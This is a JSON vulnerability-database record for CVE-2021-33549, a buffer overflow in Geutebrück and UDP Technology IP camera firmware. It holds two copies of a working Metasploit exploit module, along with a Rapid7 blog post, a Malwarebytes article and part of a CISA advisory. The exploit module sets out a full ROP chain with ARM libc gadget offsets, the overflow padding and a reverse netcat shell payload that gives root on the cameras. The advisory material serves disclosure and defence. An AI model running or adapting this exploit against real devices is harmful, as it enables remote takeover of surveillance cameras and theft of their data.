Multiple camera devices by UDP Technology, Geutebrück and other vendors are vulnerable to a stack-based buffer overflow condition in the action parameter, which may allow an attacker to remotely execute arbitrary code.
{"zdt": [{"lastseen": "2021-12-23T13:19:36", "description": "This Metasploit module exploits a buffer overflow within the 'action' parameter of the /uapi-cgi/instantrec.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions equal to 1.12.0.27 as well as firmware versions 1.12.13.2 and 1.12.14.5. Successful exploitation results in remote code execution as the root user.", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.2, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-17T00:00:00", "type": "zdt", "title": "Geutebruck instantrec Remote Command Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-33549"], "modified": "2021-09-17T00:00:00", "id": "1337DAY-ID-36768", "href": "https://0day.today/exploit/description/36768", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Geutebruck instantrec Remote Command Execution',\n 'Description' => %q{\n This module exploits a buffer overflow within the 'action'\n parameter of the /uapi-cgi/instantrec.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx,\n ETHC-22xx, and EWPC-22xx devices running firmware versions == 1.12.0.27 as well as firmware\n versions 1.12.13.2 and 1.12.14.5.\n Successful exploitation results in remote code execution as the root user.\n },\n\n 'Author' => [\n 'Titouan Lazard - RandoriSec', # Discovery\n 'Ibrahim Ayadhi - RandoriSec' # Metasploit Module\n ],\n 'License' => MSF_LICENSE,\n 'References' => [\n ['CVE', '2021-33549'],\n ['URL', 'https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/'],\n ['URL', 'http://geutebruck.com'],\n ['URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03']\n ],\n 'DisclosureDate' => '2021-07-08',\n 'Privileged' => true,\n 'Platform' => %w[unix linux],\n 'Arch' => [ARCH_ARMLE],\n 'Targets' => [\n ['Automatic Target', {}]\n ],\n 'DefaultTarget' => 0,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'\n },\n 'Notes' => {\n 'Stability' => ['CRASH_SAFE'],\n 'Reliability' => ['REPEATABLE_SESSION'],\n 'SideEffects' => ['ARTIFACTS_ON_DISK']\n }\n )\n )\n\n register_options(\n [\n OptString.new('TARGETURI', [true, 'The path to the instantrec page', '/uapi-cgi/instantrec.cgi'])\n ]\n )\n end\n\n def write_payload\n # gadgets\n libc_add = 0x402da000\n system_off = 0x00357fc\n libc_data_off = 0x12c960\n str_r1_off = 0x0006781c # str r0 into r4 + 0x14; pop r4 pc;\n pop_r0_off = 0x00101de4 # pop r0 pc\n pop_r1_off = 0x0010252c # pop r1 pc\n pop_r4_off = 0x00015164 # pop r4 pc\n system_ = libc_add + system_off\n str_r1 = libc_add + str_r1_off\n pop_r0 = libc_add + pop_r0_off\n pop_r1 = libc_add + pop_r1_off\n pop_r4 = libc_add + pop_r4_off\n add_str = libc_data_off + libc_add + 4\n chunks = (payload.raw + ' ' * (4 - payload.raw.length % 4)).unpack('I<*')\n rop = []\n rop += [pop_r4]\n rop += [add_str - 0x14]\n chunks.each_with_index do |chunk, index|\n rop += [pop_r1]\n rop += [chunk]\n rop += [str_r1]\n rop += if index != (chunks.length - 1)\n [add_str - 0x14 + ((index + 1) * 4)]\n else\n [0x41414141]\n end\n end\n rop += [pop_r0]\n rop += [add_str]\n rop += [system_]\n rop.pack('V*')\n end\n\n def exploit\n print_status(\"#{rhost}:#{rport} - Attempting to exploit...\")\n pad_size = 536\n data = Rex::Text.pattern_create(pad_size) + write_payload\n send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri('/', Rex::Text.rand_hostname, '../', target_uri.path),\n 'vars_post' => {\n 'action' => data\n }\n )\n handler\n end\nend\n", "sourceHref": "https://0day.today/exploit/36768", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2021-09-17T16:17:32", "description": "", "cvss3": {}, "published": "2021-09-17T00:00:00", "type": "packetstorm", "title": "Geutebruck instantrec Remote Command Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-33549"], "modified": "2021-09-17T00:00:00", "id": "PACKETSTORM:164191", "href": "https://packetstormsecurity.com/files/164191/Geutebruck-instantrec-Remote-Command-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::CmdStager \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Geutebruck instantrec Remote Command Execution', \n'Description' => %q{ \nThis module exploits a buffer overflow within the 'action' \nparameter of the /uapi-cgi/instantrec.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx, \nETHC-22xx, and EWPC-22xx devices running firmware versions == 1.12.0.27 as well as firmware \nversions 1.12.13.2 and 1.12.14.5. \nSuccessful exploitation results in remote code execution as the root user. \n}, \n \n'Author' => [ \n'Titouan Lazard - RandoriSec', # Discovery \n'Ibrahim Ayadhi - RandoriSec' # Metasploit Module \n], \n'License' => MSF_LICENSE, \n'References' => [ \n['CVE', '2021-33549'], \n['URL', 'https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/'], \n['URL', 'http://geutebruck.com'], \n['URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03'] \n], \n'DisclosureDate' => '2021-07-08', \n'Privileged' => true, \n'Platform' => %w[unix linux], \n'Arch' => [ARCH_ARMLE], \n'Targets' => [ \n['Automatic Target', {}] \n], \n'DefaultTarget' => 0, \n'DefaultOptions' => { \n'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping' \n}, \n'Notes' => { \n'Stability' => ['CRASH_SAFE'], \n'Reliability' => ['REPEATABLE_SESSION'], \n'SideEffects' => ['ARTIFACTS_ON_DISK'] \n} \n) \n) \n \nregister_options( \n[ \nOptString.new('TARGETURI', [true, 'The path to the instantrec page', '/uapi-cgi/instantrec.cgi']) \n] \n) \nend \n \ndef write_payload \n# gadgets \nlibc_add = 0x402da000 \nsystem_off = 0x00357fc \nlibc_data_off = 0x12c960 \nstr_r1_off = 0x0006781c # str r0 into r4 + 0x14; pop r4 pc; \npop_r0_off = 0x00101de4 # pop r0 pc \npop_r1_off = 0x0010252c # pop r1 pc \npop_r4_off = 0x00015164 # pop r4 pc \nsystem_ = libc_add + system_off \nstr_r1 = libc_add + str_r1_off \npop_r0 = libc_add + pop_r0_off \npop_r1 = libc_add + pop_r1_off \npop_r4 = libc_add + pop_r4_off \nadd_str = libc_data_off + libc_add + 4 \nchunks = (payload.raw + ' ' * (4 - payload.raw.length % 4)).unpack('I<*') \nrop = [] \nrop += [pop_r4] \nrop += [add_str - 0x14] \nchunks.each_with_index do |chunk, index| \nrop += [pop_r1] \nrop += [chunk] \nrop += [str_r1] \nrop += if index != (chunks.length - 1) \n[add_str - 0x14 + ((index + 1) * 4)] \nelse \n[0x41414141] \nend \nend \nrop += [pop_r0] \nrop += [add_str] \nrop += [system_] \nrop.pack('V*') \nend \n \ndef exploit \nprint_status(\"#{rhost}:#{rport} - Attempting to exploit...\") \npad_size = 536 \ndata = Rex::Text.pattern_create(pad_size) + write_payload \nsend_request_cgi( \n'method' => 'POST', \n'uri' => normalize_uri('/', Rex::Text.rand_hostname, '../', target_uri.path), \n'vars_post' => { \n'action' => data \n} \n) \nhandler \nend \nend \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/164191/geutebruck_instantrec_bof.rb.txt", "cvss": {"score": 0.0, "vector": "NONE"}}], "rapid7blog": [{"lastseen": "2021-09-24T21:21:53", "description": "## Vulnerability is in the eye of the beholder\n\n\n\nExploiting firmware authored by [UDP Technology](<https://vcatechnology.com/udp-technology/>) and provided to multiple large OEMs (including Geutebruck), community contributor [TrGFxX](<https://github.com/TrGFxX>) has authored a [neat module](<https://github.com/rapid7/metasploit-framework/pull/15604>) that allows RCE as root on machines running the web interface of the Geutebruck G-Cam and G-Code products. For more information on the vulnerability check out the [CISA advisory](<https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03>).\n\n## OpManager exploit is OP plz nerf\n\nOur very own [zeroSteiner](<https://github.com/zeroSteiner>) authored a [module](<https://github.com/rapid7/metasploit-framework/pull/15670>) implementing both an [exploit](<https://attackerkb.com/topics/uFkcCFlzIW/cve-2020-28653?referrer=blog>) and [patch bypass](<https://attackerkb.com/topics/VnQHtC1Y1N/cve-2021-3287?referrer=blog>) for a Java deserialization vulnerability that exists in numerous versions of ManageEngine's OpManager software. This module allows payload execution as either `NT AUTHORITY\\SYSTEM` on Windows or root on Linux. On top of this new module, [zeroSteiner](<https://github.com/zeroSteiner>) made improvements to help utilize the increasingly essential [YSoSerial tool](<https://github.com/frohoff/ysoserial>). You should definitely check it out if you're interested in exploring other Java deserialization vulns.\n\n## Putting the Win in WinRM\n\nIn a big win for Metasploit, community contributor [smashery](<https://github.com/smashery>) finished off their month-long effort to get [fully functional shells working across WinRM!](<https://github.com/rapid7/metasploit-framework/pull/15632>) These new sessions support post modules, NTLMSSP authentication, and are also able to run without a payload in remote memory, making these sessions pretty hard to detect. This is a major improvement over the previous WinRM implementation that only supported execution of a single command, so huge thanks again to [smashery](<https://github.com/smashery>).\n\n## You can tell a lot about a protocol from its handshake\n\nIn one final noteworthy addition, [smashery](<https://github.com/smashery>) has once again come through with a [PR](<https://github.com/rapid7/metasploit-framework/pull/15696>) that significantly improves our RDP library. Metasploit users can now capture the NETBIOS computer name, NETBIOS domain name, DNS computer name, DNS domain name, and OS version from the NTLM handshake carried out over RDP, and our rdp_scanner module has been updated to display this info to all the RDP sniffers out there.\n\n## New module content (3)\n\n * [Direct windows syscall evasion technique](<https://github.com/rapid7/metasploit-framework/pull/15506>) by [Yaz](<https://github.com/kensh1ro>) \\- This adds a new evasion module that uses direct syscalls on 64-bit versions of Windows to evade detection.\n * [Geutebruck instantrec Remote Command Execution](<https://github.com/rapid7/metasploit-framework/pull/15604>) by [Ibrahim Ayadhi - RandoriSec](<https://twitter.com/ayadhiibrahim?lang=en>) and [Titouan Lazard](<https://twitter.com/titouanlazard?lang=en>) \\- RandoriSec, which exploits [CVE-2021-33549](<https://attackerkb.com/topics/kCZ3M8XTgH/cve-2021-33549?referrer=blog>) \\- This module exploits an unauthenticated buffer overflow vulnerability within the `action` parameter of the `/uapi-cgi/instantrec.cgi` endpoint in various Geutebruck G-Cam and G-Code devices. The exploit results in code execution as the `root` user on target devices.\n * [ManageEngine OpManager SumPDU Java Deserialization](<https://github.com/rapid7/metasploit-framework/pull/15670>) by [Johannes Moritz](<https://www.radicallyopensecurity.com/our-team/pentester/JohannesMoritz.html>), [Robin Peraglie](<https://www.linkedin.com/in/robin-peraglie-aa4433161/?originalSubdomain=de>), and [Spencer McIntyre](<https://github.com/zeroSteiner>), which exploits [CVE-2021-3287](<https://attackerkb.com/topics/VnQHtC1Y1N/cve-2021-3287?referrer=blog>) \\- The `exploit/multi/http/opmanager_sumpdu_deserialization` module implements an exploit (CVE-2020-28653) and patch bypass (CVE-2021-3287) for a Java deserialization vulnerability that exists in numerous versions of ManageEngine's OpManager software. Arbitrary code execution as the `NT AUTHORITY\\SYSTEM` user on Windows or the `root` user on Linux is achieved by sending a PDU to the SmartUpdateManager handler.\n\n## Enhancements and features\n\n * [#15684](<https://github.com/rapid7/metasploit-framework/pull/15684>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- This improves interactive shell performance for pasted user input.\n * [#15696](<https://github.com/rapid7/metasploit-framework/pull/15696>) from [smashery](<https://github.com/smashery>) \\- This updates the RDP scanner module to extract and show additional information gathered from the NTLM handshake used for Network Level Authentication (NLA).\n * [#15632](<https://github.com/rapid7/metasploit-framework/pull/15632>) from [smashery](<https://github.com/smashery>) \\- This improves Metasploit's WinRM capabilities by allowing shell sessions to be established over the protocol. The shell sessions are interactive and are usable with post modules.\n\n## Bugs fixed\n\n * [#15600](<https://github.com/rapid7/metasploit-framework/pull/15600>) from [agalway-r7](<https://github.com/agalway-r7>) \\- This fixes an issue with encrypted payloads during session setup. The logic that gathers session info is now located in the bootstrap method, which ensures that this functionality is always carried out before any commands are sent.\n * [#15666](<https://github.com/rapid7/metasploit-framework/pull/15666>) from [timwr](<https://github.com/timwr>) \\- This fixes an issue found in Meterpreter's `download` functionality where downloading a file with a name containing unicode characters would fail due to incompatible encoding.\n * [#15679](<https://github.com/rapid7/metasploit-framework/pull/15679>) from [nvn1729](<https://github.com/nvn1729>) \\- This fixes a bug where the tomcat_mgr_upload module was not correctly undeploying the app after exploitation occurred.\n * [#15686](<https://github.com/rapid7/metasploit-framework/pull/15686>) from [jmartin-r7](<https://github.com/jmartin-r7>) \\- This fixes a crash in `msfrpc` that occurs due to the `exploit/linux/misc/saltstack_salt_unauth_rce` module's `MINIONS` option default being a regex instead of a string.\n * [#15695](<https://github.com/rapid7/metasploit-framework/pull/15695>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- This fixes a crash in the `exploit/unix/local/setuid_nmap` module and adds logging to print the result of the exploit's last command so the user knows what happened in the event of a failure.\n * [#15697](<https://github.com/rapid7/metasploit-framework/pull/15697>) from [smashery](<https://github.com/smashery>) \\- This updates the HTTP NTLM information enumeration module to use the `Net::NTLM` library for consistent data processing without a custom parser.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` and you can get more details on the changes since the last blog post from GitHub:\n\n * [Pull Requests 6.1.6...6.1.7](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-09-15T14%3A13%3A18-05%3A00..2021-09-23T09%3A41%3A25-05%3A00%22>)\n * [Full diff 6.1.6...6.1.7](<https://github.com/rapid7/metasploit-framework/compare/6.1.6...6.1.7>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. To install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the [binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-24T20:05:51", "type": "rapid7blog", "title": "Metasploit Wrap-Up", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-28653", "CVE-2021-3287", "CVE-2021-33549"], "modified": "2021-09-24T20:05:51", "id": "RAPID7BLOG:E8FC7BBDB9A9C360054240EFAF9BA636", "href": "https://blog.rapid7.com/2021/09/24/metasploit-wrap-up-131/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "malwarebytes": [{"lastseen": "2021-07-28T16:33:23", "description": "Researchers at [RandoriSec](<https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/>) have found serious vulnerabilities in the firmware provided by UDP Technology to [Geutebr\u00fcck](<https://www.geutebrueck.com/>) and many other IP camera vendors. According to the researchers the firmware supplier UDP Technology fails to respond to their reports despite numerous mails and LinkedIn messages.\n\nBecause of this unwillingness of UDP Technology to respond, RandoriSec worked with Geutebr\u00fcck, one of the camera vendors, to correct the 11 authenticated RCE vulnerabilities and a complete authentication bypass that they found in the firmware.\n\n### History lessons\n\nRandoriSec had found vulnerabilities in previous versions of the UDP technology firmware and knew from that previous experience that they could expect to be stonewalled when they reported the new vulnerabilities. UDP Technology provides firmware for several IP camera manufacturers, like:\n\n * Geutebruck\n * Ganz\n * Visualint\n * Cap\n * THRIVE Intelligence\n * Sophus\n * VCA\n * TripCorps\n * Sprinx Technologies\n * Smartec\n * Riva\n * and the camera\u2019s they sell under their own brand name.\n\n### CISA\n\nThe Cybersecurity & Infrastructure Security Agency issued an [advisory](<https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03>) about the two Geutebr\u00fcck IP camera types that were confirmed to be vulnerable, the G-Cam E2 and G-Code.\n\nThe CISA advisory includes the [CVE identifiers](<https://blog.malwarebytes.com/glossary/cve-identifier/>) for the found vulnerabilities. Publicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services). \n\n[CVE-2021-33543](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33543>) Missing authentication: allows unauthenticated remote access to sensitive files due to default user authentication settings.\n\n[CVE-2021-33544](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33544>) RCE: the affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33545](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33545>) RCE: The affected product is vulnerable to a stack-based buffer overflow condition in the counter parameter which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33546](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33546>) RCE: The affected product is vulnerable to a stack-based buffer overflow condition in the name parameter, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33547](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33547>) RCE: The affected product is vulnerable to a stack-based buffer overflow condition in the profile parameter which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33548](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33548>) RCE: The affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33549](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33549>) RCE: The affected product is vulnerable to a stack-based buffer overflow condition in the action parameter, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33550](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33550>) RCE: The affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33551](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33551>) RCE: The affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33552](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33552>) RCE: The affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33553](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33553>) RCE: The affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33554](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33554>) RCE: The affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n### Impact of the vulnerabilities\n\nAs you can imagine, the combination of unauthorized access to sensitive files combined with that many RCE vulnerabilities creates a treasure trove for attackers, and finding an attack method that works for you is trivial. And it should not come as a surprise that public exploits are available.\n\nEven an attacker having access to your live-stream can be bad enough, but an attacker that has full control of your IP camera is even worse. And, what's more, a combination of the unauthorized access and some of the RCE vulnerabilities can allow an attacker to achieve root on the IP cameras that are running on the vulnerable firmware.\n\n### Mitigation\n\nFor the mentioned Geutebr\u00fcck cameras, a patch is [available](<https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fportal.geutebrueck.com%2F&data=04%7C01%7Cpaul.lambert%40inl.gov%7Cf980cf8ed61e45ce028808d9505ef3d2%7C4cf464b7869a42368da2a98566485554%7C0%7C0%7C637629191029853114%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000&sdata=8UP9NuwqOke19wr7iDG2ZjnJt33fyYNXLb3FeAZCPJ0%3D&reserved=0>) (Login required) and should be installed as soon as possible. Users are urgently recommended to update to firmware Version 1.12.14.7 or later. Geutebr\u00fcck worked with RandoriSec to make sure their patch fixes the vulnerabilities.\n\nFor users of other IP cameras we can not do much more than to recommend to either disable/replace the cameras and certainly query the vendors to find out whether their cameras suffer from the same vulnerabilities.\n\nAs a general advice for users of [IoT](<https://blog.malwarebytes.com/101/2017/12/internet-things-iot-security-never/>) devices, you can follow these CISA recommendations:\n\n * Change the default passwords of the cameras.\n * Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the Internet.\n * Locate control system networks and remote devices behind firewalls and isolate them from the business network.\n * When remote access is required, use secure methods, such as virtual private networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that a VPN is only as secure as the connected devices.\n\nVendors of the IP cameras running UDP Technology firmware are encouraged to ask some serious questions about the development of the firmware and why UDP Technology chooses not to work with security researchers in a way that benefits all the IP camera vendors instead of only the one working with the researchers. Geutebr\u00fcck users know which types are vulnerable and can remedy the vulnerabilities by installing a patch. Users of the other brands are left guessing, from reading between the lines in the RandoriSec blogpost, we fear the worst.\n\nFor a complete technical analysis of how the researchers found the vulnerabilities, you are encouraged to read the [RadoriSec blog](<https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/>) about it.\n\nThe post [UDP Technology IP Camera firmware vulnerabilities allow for attacker to achieve root](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/udp-technology-ip-camera-firmware-vulnerabilities-allow-for-attacker-to-achieve-root/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {}, "published": "2021-07-28T13:04:39", "type": "malwarebytes", "title": "UDP Technology IP Camera firmware vulnerabilities allow for attacker to achieve root", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-33543", "CVE-2021-33544", "CVE-2021-33545", "CVE-2021-33546", "CVE-2021-33547", "CVE-2021-33548", "CVE-2021-33549", "CVE-2021-33550", "CVE-2021-33551", "CVE-2021-33552", "CVE-2021-33553", "CVE-2021-33554"], "modified": "2021-07-28T13:04:39", "id": "MALWAREBYTES:9B3D79CAF7E799FA5C5583B0FFCAB466", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/udp-technology-ip-camera-firmware-vulnerabilities-allow-for-attacker-to-achieve-root/", "cvss": {"score": 0.0, "vector": "NONE"}}], "ics": [{"lastseen": "2022-04-26T21:42:34", "description": "## 1\\. EXECUTIVE SUMMARY\n\n * **CVSS v3 9.8**\n * **ATTENTION: **Exploitable remotely/low attack complexity/public exploits are available\n * **Vendor:** Geutebr\u00fcck\n * **Equipment: **G-Cam E2 and G-Code\n * **Vulnerabilities:** Missing Authentication for Critical Function, Command Injection, Stack-based Buffer Overflow\n\n## 2\\. RISK EVALUATION\n\nUDP Technology supplies multiple OEMs such as Geutebr\u00fcck with firmware for IP cameras. Successful exploitation of these vulnerabilities could allow unauthenticated access to sensitive information; buffer overflow and command injection conditions may allow remote code execution.\n\n## 3\\. TECHNICAL DETAILS\n\n### 3.1 AFFECTED PRODUCTS\n\nThe following Geutebr\u00fcck devices contain the affected third-party firmware provided by UDP Technology:\n\n * E2 Series cameras \u2013 G-CAM; Versions 1.12.0.27 and prior, Versions 1.12.13.2 and 1.12.14.5 \n * EBC-21xx\n * EFD-22xx\n * ETHC-22xx\n * EWPC-22xx\n * Encoder G-Code; Versions 1.12.0.27 and prior, Versions 1.12.13.2 and 1.12.14.5 \n * EEC-2xx\n * EEN-20xx\n\n### 3.2 VULNERABILITY OVERVIEW\n\n#### 3.2.1 [MISSING AUTHENTICATION FOR CRITICAL FUNCTION CWE-306](<https://cwe.mitre.org/data/definitions/306.html>)\n\nThe affected product allows unauthenticated remote access to sensitive files due to default user authentication settings.\n\n[CVE-2021-33543](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33543>) has been assigned to this vulnerability. A CVSS v3 base score of 9.8 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H>)).\n\n#### 3.2.2 [IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN A COMMAND ('COMMAND INJECTION') CWE-77](<https://cwe.mitre.org/data/definitions/77.html>)\n\nThe affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33544](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33544>) has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H>)).\n\n#### 3.2.3 [STACK-BASED BUFFER OVERFLOW CWE-121](<https://cwe.mitre.org/data/definitions/121.html>)\n\nThe affected product is vulnerable to a stack-based buffer overflow condition in the counter parameter which may allow an attacker to remotely execute arbitrary code. \n\n[CVE-2021-33545](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33545>) has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H>)).\n\n#### 3.2.4 [STACK-BASED BUFFER OVERFLOW CWE-121](<https://cwe.mitre.org/data/definitions/121.html>)\n\nThe affected product is vulnerable to a stack-based buffer overflow condition in the name parameter, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33546](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33546>) has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H>)).\n\n#### 3.2.5 [STACK-BASED BUFFER OVERFLOW CWE-121](<https://cwe.mitre.org/data/definitions/121.html>)\n\nThe affected product is vulnerable to a stack-based buffer overflow condition in the profile parameter which may allow an attacker to remotely execute arbitrary code. \n\n[CVE-2021-33547](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33547>) has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H>)).\n\n#### 3.2.6 [IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN A COMMAND ('COMMAND INJECTION') CWE-77](<https://cwe.mitre.org/data/definitions/77.html>)\n\nThe affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33548](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33548>) has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H>)).\n\n#### 3.2.7 [STACK-BASED BUFFER OVERFLOW CWE-121](<https://cwe.mitre.org/data/definitions/121.html>)\n\nThe affected product is vulnerable to a stack-based buffer overflow condition in the action parameter, which may allow an attacker to remotely execute arbitrary 